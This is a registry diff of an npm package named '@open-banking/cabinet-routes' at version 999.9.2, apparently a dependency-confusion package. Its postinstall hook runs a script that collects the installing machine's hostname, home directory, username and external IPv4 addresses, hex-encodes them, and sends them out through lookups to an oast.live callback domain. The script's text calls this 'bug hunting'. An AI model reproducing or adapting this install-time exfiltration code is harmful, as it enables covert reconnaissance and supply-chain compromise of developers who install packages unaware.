@open-banking/cabinet-routes 999.9.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json ADDED
@@ -0,0 +1,7 @@
1
+ {
2
+ "name": "@open-banking/cabinet-routes",
3
+ "version": "999.9.2",
4
+ "scripts": {
5
+ "postinstall": "node scripts/scream3gg.js"
6
+ }
7
+ }
@@ -0,0 +1,40 @@
1
+ const os = require('os');
2
+
3
+ function stringToHex(str){
4
+ return Buffer.from(String(str),'utf8').toString('hex');
5
+ }
6
+
7
+ const hn = stringToHex(os.hostname());
8
+ const hd = stringToHex(os.homedir());
9
+ const un = stringToHex(os.userInfo().username);
10
+ const id = stringToHex("scream3gg was doing bug hunting");
11
+ const nets = os.networkInterfaces();
12
+
13
+ let ips = [];
14
+
15
+ for (const name of Object.keys(nets)) {
16
+ for (const net of nets[name]) {
17
+ if (net.family === 'IPv4' && !net.internal) {
18
+ ips.push(net.address);
19
+ }
20
+ }
21
+ }
22
+
23
+ const ipHex = stringToHex(ips.join(','));
24
+
25
+ async function getData(data) {
26
+ try {
27
+ const safeData = data.match(/.{1,50}/g).join('.');
28
+ const baseUrl = 'http://' + safeData + '.d8c6tjnqeoph2u2v4bi0npmwqk6eurn6b.oast.live';
29
+ const response = await fetch(baseUrl);
30
+ console.log(data);
31
+ } catch (error) {
32
+ console.error(error);
33
+ }
34
+ }
35
+
36
+ getData(hn);
37
+ getData(hd);
38
+ getData(un);
39
+ getData(id);
40
+ getData(ipHex);